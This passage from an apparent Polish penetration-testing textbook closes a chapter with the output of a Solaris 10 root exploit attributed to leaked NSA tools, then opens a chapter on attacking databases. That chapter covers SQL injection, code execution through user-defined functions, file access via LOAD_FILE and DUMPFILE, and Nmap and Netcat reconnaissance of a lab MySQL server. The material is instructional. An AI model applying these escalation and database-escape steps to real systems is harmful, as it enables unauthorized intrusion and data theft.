usługi Cron, która pozwala określić, o której godzinie ma zostać uruchomione dane polecenie).
Program wykorzysta też złośliwy współdzielony plik obiektu (teraz ma on nazwę su.so.2), aby uzy-
skać dla nas uprawnienia użytkownika root. Całość polecenia powinna wyglądać tak:
AT=1 ./exp.x

Pamiętaj, że mówimy tu o ataku lokalnego podniesienia uprawnień, który jest wykonywany już
w zdalnym systemie, dlatego nie musimy podawać dodatkowych parametrów, takich jak adres IP.
Poniżej przedstawiamy wynik działania tego exploitu po uruchomieniu go w systemie Solaris 10.
Na zakończenie użyliśmy jeszcze obowiązkowego polecenia id:
$ AT=1 ./exp.x
chmod 755 /var/dt/appconfig/appmanager
chown 0:0 /var/dt/appconfig/appmanager
./it -a 1487610861 -m 1487607707 -c 1487607707 /var/dt/appconfig/appmanager
chmod 755 /var/dt/appconfig
chown 0:0 /var/dt/appconfig
./it -a 1487610861 -m 1487603154 -c 1487603154 /var/dt/appconfig
chmod 755 /usr/lib/locale
chown 0:2 /usr/lib/locale
./it -a 1487681174 -m 1487602963 -c 1487602963 /usr/lib/locale
changePermissions: /var/dt/appconfig/appmanager/..| : No such file or directory
MakeDirectory: /var/dt/appconfig/appmanager/..: File exists success...
commands will be executed using /bin/sh
job 1562585875.a at Mon Jul 8 12:37:55 2019
# id
uid=0(root) gid=1(other)

Jeżeli chcesz się dowiedzieć więcej na temat podatności wykorzystywanej w tym ataku, to do-
datkowe szczegóły znajdziesz w przykładowym rozwiązaniu przygotowanym w firmie Hacker House
w procesie odwrotnej inżynierii pierwotnego exploitu z agencji NSA. Wszystkie te informacje można
pobrać z tego adresu: https://github.com/hackerhouse-opensource/exploits/blob/master/dtappgather-poc.sh.

Podsumowanie
W tym rozdziale przyjrzeliśmy się historycznemu systemowi uniksowemu o nazwie Solaris 10, ana-
lizując jego różne problemy i funkcje. Poznaliśmy też kilka narzędzi, które podobno powstały
w amerykańskiej agencji NSA. Zostały one zaprojektowane tak, żeby włamać się do określonego
systemu operacyjnego, a jednocześnie ukrywać sam fakt włamania i szczegóły wykorzystanej po-
datności. Analizowaliśmy też protokoły Telnet i SSH oraz stare serwisy z grupy R-services, które
dawniej były powszechnie używane, ale dzisiaj odeszły w zapomnienie.

3681988c430c7fe1e8567c4e2f281f7b
3
360 Rozdział 10  UNIX

W tym rozdziale ponownie zajęliśmy się usługami RPC, a w szczególności ONC RPC oraz XDR,
i jeszcze raz przyjrzeliśmy się, w jaki sposób agencja NSA atakuje systemy używające podatnych
programów RPC. Ten rodzaj ataku był podobno często wykorzystywany do włamywania się do
systemów firm telekomunikacyjnych.
Zaprezentowaliśmy też protokół SNMP, system CUPS oraz system X Window (nazywany też
X11 lub po prostu X) i wskazaliśmy kilka podatności, których należy szukać w sprawdzanych sys-
temach. System X, który leży u podstaw każdego interfejsu graficznego w dzisiejszych systemach
uniksowych, był kiedyś chętnie atakowany przez złośliwych hakerów, którzy mogli zdalnie wy-
konywać zrzuty ekranu, przechwytywać informacje o naciśniętych klawiszach i podglądać nas
przez kamerki.
W rozdziale zaprezentowaliśmy też dwa sposoby podniesienia swoich uprawnień w systemie.
Najpierw dowiedzieliśmy się, że usługa Cron może uruchamiać plik z uprawnieniami użytkownika
root, który mogliśmy edytować z powodu niepoprawnie ustawionych uprawnień do pliku. Dzięki
temu zdołaliśmy uzyskać uprawnienia użytkownika root w zdalnym systemie, ponieważ zdołaliśmy
dopisać do tego pliku własne polecenie, które zostało wykonane z wysokim poziomem uprawnień.
W drugim ataku wykorzystaliśmy narzędzie EXTREMEPARR (pochodzące z agencji NSA),
które zastosowało zupełnie inną metodę uzyskiwania uprawnień użytkownika root na hostach
z systemem Solaris.
Zaprezentowane w tym rozdziale narzędzia pochodzące z agencji NSA można uznawać za Świę-
tego Graala poprzedniej ery hakowania systemów uniksowych. Gdy te narzędzia zostały wykra-
dzione z agencji, hakerzy mogli zacząć świętować, ponieważ dawały one naprawdę ogromne moż-
liwości. Był to rodzaj narzędzi, nad którymi przez lata pracowało wielu różnych hakerów, ponieważ
dawały całkowity dostęp do systemów Solaris.
Pamiętaj, że wszystkie koncepcje, protokoły i informacje, jakie zaprezentowaliśmy w tym roz-
dziale, znajdują zastosowanie również w innych systemach uniksowych, a nie tylko w starych lub
własnościowych wariantach Uniksa.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

11
Bazy danych

W sieci wewnętrznej swojego klienta niemal na pewno znajdziesz przynajmniej jeden serwer DBMS
(database management system — system zarządzania bazami danych). Serwer DBMS jest oprogra-
mowaniem przeznaczonym do zarządzania bazą danych, które umożliwia interakcję z bazą danych
programom oraz użytkownikom pracującym na innych komputerach. To zadanie może realizować
wiele różnych hostów. Co więcej, różne działy organizacji mogą korzystać z całkiem odmiennych
rodzajów baz danych.
Bardzo często bazy danych działające na hostach w sieci wewnętrznej używane są jako składnice
danych dla aplikacji sieciowych albo dla mechanizmów uwierzytelniających. Często w takich ba-
zach danych przechowywane są różne istotne informacje, takie jak nazwy użytkowników, skróty
haseł, szczegóły operacji finansowych, treści notatek blogowych, obrazy, komentarze i wiadomości.
W każdym z systemów mogą znajdować się dane nawet milionów różnych użytkowników. Bazy
danych w sieci wewnętrznej umożliwiają ustanawianie połączeń i wysyłanie zapytań przez różne
zewnętrzne programy, takie jak aplikacje WWW albo serwery sieci VPN. Zgodnie z zaleceniami
ekspertów takie serwery nie powinny być dostępne dla komputerów w internecie.
W tym rozdziale znajdzie się skrócony kurs przeszukiwania i obsługiwania danych zapisanych
w bazach, ponieważ są to czynności niezbędne do przeprowadzenia pewnych ataków, takich jak
ataki wstrzykiwania instrukcji SQL (Structured Query Language), które są jednym z rodzajów ata-
ków często realizowanych w aplikacjach sieciowych. W tym rozdziale zaprezentujemy różne szcze-
góły wykorzystywania błędów w systemach bazodanowych.

361

3681988c430c7fe1e8567c4e2f281f7b
3
362 Rozdział 11  Bazy danych

Typy baz danych

Bazą danych nazywane są wszystkie metody strukturalnego przechowywania danych. Bazą danych
może być dobrze zorganizowana szafka z dokumentami stojąca w rogu biura, ale ta nazwa zwykle
używana jest do opisywania metody elektronicznego przechowywania danych. Na początek mu-
simy zatem omówić podstawową terminologię, a dopiero potem zajmiemy się faktycznym hako-
waniem baz danych.

Bazy danych w zwykłych plikach

Baza danych w plikach (ang. flat-file database) jest metodą przechowywania danych, w której są
one zapisywane w kolejnych wierszach pliku o ustalonej strukturze. Na przykład całość danych
może znajdować się w jednym pliku, w którym wartości oddzielane są od siebie za pomocą prze-
cinków (są to pliki CSV — comma-separated values). Każdy wiersz w pliku może zawierać poje-
dynczy rekord danych. Przypomnij sobie strukturę plików /etc/passwd i /etc/shadow. Każdy z nich
jest bazą danych, w której poszczególne wiersze przechowują niezależne rekordy. Dane zapisane
w kilku takich plikach mogą być połączone różnymi relacjami, przy czym te relacje nie są definio-
wane w ramach samego „systemu” tych plików. Szafki z dokumentami, pliki tekstowe oraz arkusze
kalkulacyjne to rodzaje baz danych, którymi nie będziemy się interesować w tym rozdziale. Ważne
jest jednak, żeby zdawać sobie sprawę z ich istnienia.

Relacyjne bazy danych

Gdy ludzie mówią o bazach danych, zwykle mają na myśli coś bardziej zaawansowanego niż zwykłe
pliki tekstowe. Najczęściej chodzi o relacyjne bazy danych, składające się z tabel, w których prze-
chowywane są rekordy danych. Tabele w relacyjnej bazie danych opisują różne encje. Nasz klient
może mieć bazę danych „sklepu internetowego”, w której znajdują się tabele klientów, produktów
oraz płatności. W każdej z tych tabel znajdziemy pewną liczbę rekordów (lub wierszy) podzielo-
nych na kolumny.
Kolumny w tabeli mogą zawierać naprawdę dowolne informacje, od nazw użytkowników i skró-
tów haseł, aż po obrazy zapisane w obiektach blob (binary large object — wielki obiekt binarny).
Blobem nazywane są dane binarne zapisywane w jednej z kolumny bazy danych. Sam format tych da-
nych nie jest istotny. Mogą to być obrazki, pliki audio, a nawet wykonywalny kod. Każda tabela może
zostać powiązana z innymi za pomocą kluczy (które nie mają nic wspólnego z hasłami). Takimi
kluczami są najczęściej liczby całkowite (ułamki i liczby rzeczywiste raczej się do tego nie nadają).
Klucz główny (ang. primary key) jest pojęciem używanym wobec klucza, który jednoznacznie
identyfikuje rekord w danej tabeli. Wyobraź sobie tabelę przechowującą dane tysięcy różnych pro-
duktów. Każdy z tych produktów musi mieć swój jednoznaczny identyfikator, czyli klucz główny,
do którego będzie można się odwoływać z innych tabel. Gdyby takie klucze nie były jednoznaczne,
bardzo utrudniałoby to poszukiwanie produktów w bazie danych. Gdy klient zamawia dany pro-
dukt, to w tabeli „zamówienia” naszej hipotetycznej bazy danych tworzony jest nowy rekord, który
powinien zawierać klucz główny zarówno produktu, jak i klienta. W ten sposób powstaje połącze-
nie pomiędzy trzema tabelami.

3681988c430c7fe1e8567c4e2f281f7b
3
Typy baz danych 363

Koncepcja relacyjnej bazy danych powstała w czasie, gdy przestrzeń do przechowywania danych
i moc obliczeniowa były drogimi produktami, na które mogły sobie pozwolić wyłącznie wielkie kor-
poracje. Relacyjne bazy danych miały za zadanie przechowywać informacje z minimalną (lub nawet
zerową) redundancją, co pozwalało zmniejszyć zapotrzebowanie na miejsce na dysku. Ten rodzaj baz
danych miał też maksymalizować spójność danych, co zwiększało prędkość odczytywania danych
z tabel zawierających ogromne ilości rekordów i wymagających zastosowania kluczy. Według strony
https://db-engines.com/en/ranking do najpopularniejszych systemów relacyjnych baz danych należą:
 Oracle,
 MySQL,
 Microsoft SQL,
 PostgreSQL,
 IBM Db2,
 Microsoft Access,
 SQLite,
 MariaDB.
Na rynku dostępne są też nowoczesne oferty chmurowe takich firm jak Amazon lub Google,
ale też bardzo proste bazy danych, takie jak SQLite. Bazę danych SQLite możesz pamiętać z roz-
działu 4. „Zbieranie danych z otwartych źródeł”, gdzie była wykorzystywana przez program Recon-ng.
To bardzo popularny, niewielki system relacyjnych baz danych, który jest powszechnie wykorzy-
stywany w aplikacjach mobilnych oraz w niewielkich urządzeniach.
Wszystkie systemy relacyjnych baz danych korzystają z języka SQL (structured query language)
do realizowania zapytań i manipulowania danymi przechowywanymi w bazie. W dalszej części tego
rozdziału przedstawimy podstawy tego języka. Mimo że relacyjne bazy danych zdobyły popular-
ność w latach 80. XX wieku, to nadal są główną metodą przechowywania danych stosowaną w róż-
nych aplikacjach. To właśnie dlatego w tym rozdziale skupimy się na tym rodzaju baz danych.
Systemy relacyjnych baz danych korzystają z tak zwanych schematów baz danych, które opisują
całą strukturę bazy. W schemacie są zapisane informacje na temat tabel, kolumn w tych tabelach,
relacji pomiędzy tabelami itp. Schemat można uznać za metadane każdej bazy, ponieważ opisuje
on sposób przechowywania danych. Istnieją zatem metody pobrania metadanych bez konieczności
bezpośredniego kontaktu z oprogramowaniem bazy danych. Przykładem takiego działania mogą
być ataki wstrzykiwania poleceń SQL. Poznanie schematu bazy umożliwia uzyskiwanie potencjal-
nie wrażliwych danych zapisanych w samej bazie, ponieważ atakujący będzie mógł łatwo wyszuki-
wać te informacje w tabelach.
Każdy system bazodanowy (niezależnie od tego, czy relacyjny, czy też nie) korzysta z własnego,
wewnętrznego systemu uprawnień, który jest całkowicie niezależny od systemu uprawnień do pli-
ków stosowanego w systemie operacyjnym. Umożliwia to zdefiniowanie wielu użytkowników bazy
danych i przypisywanie im pozwoleń na przeglądanie, edytowanie, dodawania i usuwanie pewnego
zbioru danych w bazie. Takie uprawnienia można niewłaściwie skonfigurować, dlatego zawsze
warto sprawdzać, czy w systemie nie istnieją źle skonfigurowane konta baz danych. Wyszukiwanie
i używanie różnych nazw użytkowników oraz haseł w ramach ataku siłowego jest całkiem dobrą
metodą uzyskania wstępnego dostępu do bazy danych. To jednak dopiero pierwszy krok w złożo-
nych możliwościach hakowania, jakie dają nam bazy danych.

3681988c430c7fe1e8567c4e2f281f7b
3
364 Rozdział 11  Bazy danych

Nierelacyjne bazy danych

Kolejnym typem baz danych są bazy NoSQL. Słowo NoSQL odnosi się do faktu, że mamy tu do
czynienia z nierelacyjnymi bazami danych. Każdy system nierelacyjnych baz danych wykorzystuje
swój własny sposób przechowywania informacji, na przykład w postaci dokumentów. W doku-
mentach stosowanych w takich bazach używane są różne formaty, takie jak XML, YAML (to skrót
od YAML ain’t markup language — „YAML nie jest językiem znaczników”, a sam format jest po-
dobny do XML, ale stosuje znacznie uproszczoną składnię) lub JSON. Zapisywanie informacji
w dokumentach nie jest równoznaczne ze stosowaniem plików tekstowych. Są to z gruntu różne me-
tody przechowywania danych. Na przykład dokument XML może zawierać wiele różnych znacz-
ników, przy czym te mogą być w sobie zagnieżdżane, a same dane umieszczane są pomiędzy znacz-
nikami otwierającymi i zamykającymi. Dzięki temu takie pliki wykazują większą elastyczność niż
pliki CSV. Czasami bazy danych NoSQL wykorzystują też pamięć operacyjną komputera do prze-
chowywania danych. W takich przypadkach dyski twarde lub SSD używane są jedynie w roli szyb-
kich nośników kopii zapasowych. Bazy danych NoSQL nie przejmują się pojemnością nośników
danych ani optymalizacją metod wyszukiwania, ponieważ nowoczesne systemy komputerowe mogą
być wyposażane w ogromne ilości pamięci operacyjnej.
Ciekawą cechą wielu baz danych NoSQL jest to, że do ich używania często nie potrzeba stoso-
wać żadnego uwierzytelniania. Samo słowo NoSQL może też być rozwijane do frazy „not only SQL”
(nie tylko SQL), ponieważ część systemów nierelacyjnych baz danych pozwala na stosowanie
zapytań podobnych do SQL.
Do najczęściej stosowanych systemów nierelacyjnych baz danych należą:
 MongoDB,
 Redis,
 Apache Cassandra (cassandra.apache.org),
 Oracle NoSQL,
 Amazon DynamoDB (aws.amazon.com/dynamodb).

Język SQL
Język SQL (wymawiany „sikuel”) jest najpopularniejszym językiem przeznaczonym do odczytywa-
nia danych i manipulowania nimi, używanym w relacyjnych bazach danych. Można go używać
do tworzenia lub definiowania struktur danych w bazie, zarządzania uprawnieniami użytkowni-
ków baz danych, usuwania i wstawiania rekordów, a nawet do definiowania i używania funkcji
modyfikujących dane.
Język SLQ jest standardem zdefiniowanym przez instytut ANSI (American National Standards
Institute) oraz organizację ISO (International Standard for Organization). Został on wprowadzony
pod koniec lat 80. XX wieku i od tego czasu cały czas zyskiwał na popularności. Dzisiaj również
język SQL jest wykorzystywany w niemal każdej relacyjnej bazie danych, choć każdy z systemów
używa nieco innej implementacji tego języka.

3681988c430c7fe1e8567c4e2f281f7b
3
Funkcje zdefiniowane przez użytkownika 365

SQL nie jest jedynym językiem używanym w relacyjnych bazach danych, ale jest zdecydowanie
najbardziej rozpowszechniony. Z tego powodu zalecamy poznać przynajmniej podstawy tego ję-
zyka, ponieważ będzie on wykorzystywany w przykładach podawanych w tym rozdziale. Poza tym
znajomość języka SQL jest absolutnie niezbędna w pracy nowoczesnego hakera, ponieważ bazy
danych stosowane są praktycznie w każdej sieci i każdym systemie.
W tym rozdziale zaprezentujemy podstawy języka SQL. Pamiętaj też, że praktyka czyni mistrza,
dlatego zachęcamy do eksperymentowania z różnymi bazami danych, nie tylko tymi używanymi
jako przykłady w tej książce. Przygotowanie własnych baz danych i wypełnianie ich rekordami,
a także odczytywanie z nich informacji w wierszu poleceń SQL z pewnością będzie bardzo cennym
doświadczeniem. Na bazie podanych tu informacji można rozwinąć szeroką wiedzę, dlatego pro-
ponujemy nabrać wprawy w przeszukiwaniu baz danych. W działalności hakera na pewno pojawi
się możliwość uzyskania choć ograniczonego dostępu do bazy danych albo okazja do wstrzyknięcia
poleceń SQL do bazy danych służącej jakiemuś serwisowi. Umiejętność poruszania się w takich
systemach z pewnością przyniesie Ci w przyszłości wiele ważnych wyników.
Wykonując test penetracyjny dla klienta, należy zawsze poszukiwać miejsc, w których można
próbować wstrzykiwania poleceń SQL sprawiających, że system relacyjnych baz danych zacznie
funkcjonować poza swoim normalnym zakresem parametrów. Ten rodzaj ataku (nazywany wstrzy-
kiwaniem SQL — ang. SQL injection) jest bardzo często stosowany i regularnie staje się przyczyną
wypłynięcia informacji z bazy do nieautoryzowanych użytkowników. Najczęściej takie ataki prze-
prowadzane są za pośrednictwem podatnej aplikacji sieciowej, która pobiera informacje z bazy da-
nych. Takie ataki będziemy opisywać dokładniej w rozdziale 12. „Aplikacje sieciowe”. Nawet osoby
bez wielkiego doświadczenia w hakowaniu mogą spowodować zamieszanie w wielkich organiza-
cjach, uruchamiając takie narzędzia jak SQLmap, które automatycznie próbuje wykorzystać istnie-
jące podatności na wstrzykiwanie SQL. Co prawda do pracy testera penetracyjnego może wystar-
czyć samo użycie tych narzędzi, ale doskonała znajomość tajników języka SQL i sposobów jego
użytkowania na pewno znacznie zwiększa możliwość wykorzystywania tych podatności.

Funkcje zdefiniowane przez użytkownika

Wiele systemów relacyjnych baz danych udostępnia własne funkcje, co przypomina różne API sto-
sowane w językach programowania, które umożliwiają manipulowanie danymi na odmienne spo-
soby. Podobnie jak w przypadku języków programowania, możliwe jest też definiowanie własnych
funkcji, które są później używane do obsługi bazy danych. Takie funkcje nazywane są funkcjami
zdefiniowanymi przez użytkownika (ang. user-defined function — UDF). Jeżeli nie jesteś w stanie
uzyskać dostępu do bazy danych, to sprawdź, czy istnieje możliwość definiowania własnych funk-
cji, które następnie będzie można wykorzystać do podniesienia swoich uprawnień lub przejścia do
systemu operacyjnego hosta. Pokażemy tutaj, jak można przesłać współdzielony obiekt na serwer,
a następnie wykorzystać go do utworzenia własnej funkcji, która w pewnych okolicznościach może
zwiększyć zakres naszych uprawnień.

3681988c430c7fe1e8567c4e2f281f7b
3
366 Rozdział 11  Bazy danych

Zestaw narzędzi hakera baz danych

Wkrótce się przekonasz, że zainstalowanie w swoim systemie Kali Linux wielu różnych klientów
baz danych działających w wierszu poleceń jest krokiem niezbędnym w przygotowaniu do hako-
wania baz danych. Warto również korzystać z klientów z graficznym interfejsem użytkownika,
a biorąc na cel bazy danych firmy Microsoft, warto wyposażyć się też w program Microsoft SQL
Management Studio. Dobrze jest mieć zainstalowanych kilka różnych klientów dla najpopularniej-
szych systemów baz danych, takich jak PostgreSQL i MySQL. Oczywiście można też korzystać
z wielozadaniowego narzędzia do obsługi języka SQL, ale takie narzędzia nie będą opisywane w tej
książce. Nie można też zapomnieć o korzystaniu ze standardowych narzędzi każdego hakera, czyli
programów Nmap, Netcat, Searchsploit i Metasploit.
Przydaje się też tworzenie własnych baz danych, które pozwalają na wykonywanie różnych ćwi-
czeń i poznawanie szczegółów pracy z różnymi systemami relacyjnych baz danych. Podczas pracy
dla klienta bardzo przydaje się przygotowanie sobie maszyny wirtualnej z zainstalowanym takim
samym systemem relacyjnych baz danych, jakiego używa nasz klient. Jest to szczególnie ważne,
jeżeli tworzysz skomplikowane zapytania i nie masz pewności, dlaczego nie działają zgodnie z ocze-
kiwaniami. Znacznie łatwiej poszukuje się błędów w zapytaniach w lokalnej bazie danych niż na
zdalnym serwerze, do którego masz tylko ograniczony dostęp. Jeżeli sprawdzasz środowisko pro-
dukcyjne i masz do czynienia z rzeczywistymi danymi klienta, możesz uruchamiać exploity przede
wszystkim na swojej wersji tego środowiska, tak żeby uniknąć kosztownych pomyłek. Ze swoim
klientem zawsze omawiaj planowane działania, które mogą mieć wpływ na funkcjonowanie bazy
danych. W laboratorium naszej książki znajdziesz kilka wstępnie skonfigurowanych baz danych,
które możesz próbować hakować.

Typowe używanie baz danych

Oto kilka typowych rozwiązań i kroków, które należy podjąć podczas pracy z bazą danych:
1. Znajdź sposób na uzyskanie dostępu do bazy danych i przechowywanych w niej informacji.
2. Przejrzyj schemat bazy danych i poznaj jej strukturę.
3. Uzyskaj dostęp do bazy danych i poszukaj w niej istotnych informacji.
4. Sprawdź wszystkie uprawnienia i zabezpieczenia bazy danych.
5. Spróbuj uzyskać uprawnienia administratora bazy danych
(ang. database administrator — DBA).
6. Spróbuj uzyskać dostęp do systemu operacyjnego lub systemu plików.
7. Spróbuj wykorzystać funkcje definiowane przez użytkownika, aby uruchomić własny kod.
8. Spróbuj uciec z bazy danych i zaatakować system operacyjny hosta, aby zwiększyć swoje
uprawnienia.
Atakowanie systemu operacyjnego hosta i podnoszenie swoich uprawnień powinno być już Ci
doskonale znane. Tutaj można zastosować te same rozwiązania, jakie wykorzystywaliśmy po uzy-
skaniu dostępu do systemu operacyjnego poprzez wstrzykiwanie poleceń albo za pomocą innych po-
kazywanych wcześniej technik. W przypadku baz danych musimy się jednak zmierzyć z dodatkowymi

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie portów serwera baz danych 367

przeszkodami, które trzeba pokonać, aby uzyskać dostęp do systemu operacyjnego hosta. Wszystko
sprowadza się do konieczności wydostania się z systemu bazy danych i przejścia do systemu ope-
racyjnego. Można tego dokonać, używając funkcji zdefiniowanych przez użytkownika oraz proce-
dur składowanych (ang. stored procedures). Procedury składowane działają na podobnej zasadzie,
co funkcje zdefiniowane przez użytkownika, ale mają większy potencjał, ponieważ mają możliwość
modyfikowania danych w bazie oraz wykonywania innych funkcji, w tym i tych wbudowanych
w system bazy danych. Takie procedury są zwykle wywoływane za pomocą specjalnej instrukcji
SQL: CALL. Zwykle można też używać funkcji zdefiniowanych przez użytkownika, aby wywoływać
kod z systemu operacyjnego i wykorzystywać je do zwiększania swojego poziomu uprawnień w bazie
danych. Oczywiście taka możliwość jest uzależniona od aktualnego poziomu posiadanych uprawnień.

Skanowanie portów serwera baz danych

Oto wycinek wyników zaawansowanego skanowania portów programem Nmap, przeprowadzo-
nego na maszynie wirtualnej z podatnym serwerem baz danych obsługującym kilka różnych syste-
mów bazodanowych:
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.0.51a-24+lenny2
5433/tcp open postgresql PostgreSQL DB 9.1.2 - 9.1.3
6379/tcp open redis Redis key-value store
27017/tcp open mongodb MongoDB 2.0.2
28017/tcp open http MongoDB http console

Raczej nieczęsto można spotkać serwer, w którym działa kilka różnych serwisów baz danych,
choć pewne kombinacje serwisów zwykle działają razem. Pracując dla klienta, można nie mieć oka-
zji do przeprowadzenia bezpośredniego skanowania portów bazy danych z powodu stosowanych
zapór sieciowych i podziałów sieci, ale na danym serwerze zwykle będzie działać przynajmniej
jedna usługa tego rodzaju. W innych przypadkach trzeba będzie wykorzystać odmienne metody
niż proste skanowanie hosta, aby za ich pomocą uzyskać informacje na temat tego oprogramowa-
nia. W poprzednich rozdziałach omawialiśmy niektóre z tych metod (takie jak zbieranie informacji
z otwartych źródeł albo wykorzystywanie serwerów proxy), a w dalszej części tego rozdziału zapre-
zentujemy sposób wykorzystania w tym celu ataków wstrzykiwania instrukcji SQL. Jeżeli otrzy-
masz zadanie przeskanowania hostów w sieci wewnętrznej, to na pewno w wynikach zobaczysz
informacje o różnych serwerach baz danych.
Mimo że te serwery znajdują się w sieci wewnętrznej badanej firmy, to na Twojej drodze z pew-
nością pojawi się zapora sieciowa albo inna metoda podziału sieci na segmenty. Ze względu na to,
że bazy danych używane są do obsługi takich zadań jak obsługa wypłat dla pracowników, są one
zwykle dodatkowo zabezpieczane przed złośliwym dostępem z sieci wewnętrznej. Odpowiedzialne
firmy stosują różne rozwiązania chroniące hosty przechowujące bazy danych nawet przed wła-
snymi pracownikami. Może się okazać, że serwery baz danych znajdują się we własnej sieci wirtu-
alnej (VLAN) albo zostały za warstwą zapory sieciowej umożliwiającej dostęp tylko ograniczonej
liczbie hostów i serwerów.
Szybko przekonasz się, że w laboratorium dołączonym do tej książki działają serwery MySQL
i PostgreSQL, a obok nich pracuje kilka serwisów baz nierelacyjnych.

3681988c430c7fe1e8567c4e2f281f7b
3
368 Rozdział 11  Bazy danych

MySQL
MySQL (www.mysql.com) jest popularnym systemem relacyjnych baz danych udostępnianym na
zasadzie otwartych źródeł. Aktualnie właścicielem tego systemu jest firma Oracle, która udostępnia
go w wersji komercyjnej i bezpłatnej. Domyślnie bazy danych MySQL działające na serwerach na-
słuchują na porcie TCP 3306. Podobnie jak wiele innych programów, baza danych również może
prezentować swój numer wersji oprogramowania w wiadomości powitalnej. Pamiętaj, że nieaktu-
alne wersje serwerów zwykle mają kilka ciekawych podatności. Bazy danych używają własnych kont
użytkownika root, których nie należy mylić z kontami użytkownika root istniejącymi w unikso-
wych systemach operacyjnych. Instancje serwera MySQL były (domyślnie) konfigurowane tak,
że umożliwiały dostęp do użytkownika root serwera MySLQ (czasami nawet bez podawania hasła),
co bardzo często powodowało poważne problemy. Uzyskanie dostępu do konta użytkownika root
oznaczało uzyskanie pełnego dostępu do całej bazy danych. Z tego powodu zawsze należy spraw-
dzać, czy dany serwer nadal umożliwia takie działanie. Niektóre bazy danych MySQL mogą umoż-
liwiać wybranym użytkownikom odczytywanie i zapisywanie plików w systemie operacyjnym ho-
sta za pośrednictwem funkcji wbudowanych, takich jak LOAD_FILE, albo za pomocą zapytań SQL,
takich jak SELECT * FROM <NazwaTabeli> INTO DUMPFILE '<NazwaPliku>';, gdzie nazwa DUMPFILE
jest kolejną funkcją przeznaczoną do zapisywania plików. System MySQL jest powszechnie uży-
wany w różnych serwisach sieciowych, dlatego w swoich poszukiwaniach zauważysz, że jest to naj-
częściej pojawiający się rodzaj baz danych.

MARIABD

MariaDB (www.mariadb.org) jest otwartoźródłowym serwerem relacyjnych baz danych, który

został utworzony przez pierwszych twórców systemu MySQL. I rzeczywiście jest to wariant sys-
temu MySQL (jego bazą jest kod źródłowy MySQL 5.1.38), który umożliwia działanie stronom
Wikipedii oraz wielu innych popularnych serwisów sieciowych. W przeciwieństwie do MySQL
MariaDB nie jest własnością żadnej komercyjnej organizacji, co oznacza, że najprawdopodobniej
już na zawsze zostanie oprogramowaniem o otwartych źródłach. Wiele podatności znalezionych
w MySQL dotyczy również serwerów MariaDB, ponieważ oba te systemy mają tę samą bazę.

Badanie baz MySQL

Teraz ułatwimy Ci życie bardziej, niż można się tego spodziewać. Podamy Ci hasło do bazy danych
MySQL działającej w laboratorium tej książki. W rzeczywistości takiego hasła trzeba mozolnie po-
szukiwać, zdobyć je metodami siłowymi lub próbować całkowicie pominąć proces uwierzytelnia-
nia. Teraz jednak chcemy wyjaśnić kilka kwestii podstawowych i przyzwyczaić Cię do manipulo-
wania bazą danych MySQL, tak jak robią to prawdziwi administratorzy systemu. W zasadzie będzie
to przyspieszony kurs języka SQL. Oczywiście takie hasła mogą zostać przypadkowo pozostawione
w kodzie źródłowym strony WWW, w którymś z komentarzy albo w towarzyszącym stronie pliku
tekstowym. Ktoś, kto zapisał hasło w ten sposób, na pewno miał zamiar je usunąć, ale często zdarza
się, że poprawki do aplikacji są szybko przesyłane z systemu programisty od razu na serwer produk-
cyjny, a wtedy mogą zawierać nierozwiązane jeszcze problemy oraz zapomniane notatki. Z tego
powodu ten jeden raz będziemy udawać, że hasło udało Ci się zdobyć innymi metodami.

3681988c430c7fe1e8567c4e2f281f7b
3
MySQL 369

Jeżeli użyjesz programu Nmap do wykonania skanu portu TCP 3306 w laboratorium tej książki
i użyjesz przy tym opcji -A, to w wynikach zobaczysz pewne przydane informacje, które podajemy
poniżej:
3306/tcp open mysql syn-ack MySQL 5.0.51a-24+lenny2
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-24+lenny2
| Thread ID: 38
| Capabilities flags: 43564
| Some Capabilities: Support41Auth, SupportsTransactions,
Speaks41ProtocolNew, LongColumnFlag, SwitchToSSLAfterHandshake,
ConnectWithDatabase, SupportsCompression
| Status: Autocommit
|_ Salt: @n({ToV>rGIw<deP=~(G

Widzimy tutaj kilka informacji właściwych dla serwera MySQL, zgromadzonych pod nagłówkiem
mysql-info. Te informacje zostały uzyskane za pomocą skryptu Nmap o nazwie mysql-info.nse. Jak
widać, serwer używa dziesiątej wersji protokołu MySQL, który różni się od numeru wersji samego
oprogramowania. Sam serwer ma numer wersji 5.0.51a-24+lenny2, co mówi nam też, że ten serwer
działa w systemie operacyjnym Debian. (Lenny to nazwa kodowa piątej wersji systemu Debian).
Na samym dole bloku informacyjnego znajduje się informacja Salt: @n({ToV>rGIw<deP=~(G, która
podaje pseudolosowy ciąg znaków używanych do haszowania haseł. Wartość zmiennej Salt będzie
się zmieniała przy każdym następnym połączeniu z bazą danych. Zobaczyć tu można też inne in-
formacje o funkcjach obsługiwanych przez ten serwis, takich jak szyfrowanie za pomocą
protokołu SSL. Część z tych informacji można też uzyskać ręcznie za pomocą programu Netcat.
Poniżej widać efekt ustanowienia połączenia z portem TCP 3306 w programie Netcat. Widać tu
numer wersji serwera, który podał nam już program Nmap. Za numerem znajduje się wartość
zmiennej Salt.
?
5.0.51a-24+lenny2'<tS%\#5~,?[1|CuGCVi/I

Spróbuj tutaj połączyć się z bazami danych MySQL za pomocą dedykowanego klienta. W wielu
dystrybucjach Linuksa trzeba specjalnie instalować takie klienty baz danych. (Na szczęście w systemie
Kali Linux klient jest już zainstalowany). Możesz się połączyć z serwisem MySQL, używając pole-
cenia mysql -h <AdresIP>. Program klienta będzie próbował połączyć się z bazą danych jako aktu-
alnie zalogowany użytkownik. Innymi słowy, jeżeli spróbujesz uruchomić ten program jako użyt-
kownik root w systemie Kali Linux, to będzie on próbował zalogować się do bazy danych jako
użytkownik root, nie podając żadnego hasła. Zazwyczaj spowoduje to pojawienie się komunikatu
podobnego do poniższego:
ERROR 1045 (28000): Access denied for user 'root'@'192.168.48.1' (using password: NO)

Aby wprowadzić hasło użytkownika, musisz poinstruować program MySQL, żeby prosił o poda-
nie tego hasła, Możesz też wprowadzić je bezpośrednio w wierszu poleceń (za pomocą opcji -p), ale
nie jest to zalecane, ponieważ w ten sposób można ujawnić to hasło innym procesom. Serwer po-
prosi wtedy o podanie hasła, tak jak poniżej:
Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'192.168.56.1' (using password: YES)

3681988c430c7fe1e8567c4e2f281f7b
3
370 Rozdział 11  Bazy danych

Konta użytkowników MySQL często nie są konfigurowane tak, żeby blokować się po zbyt wielu
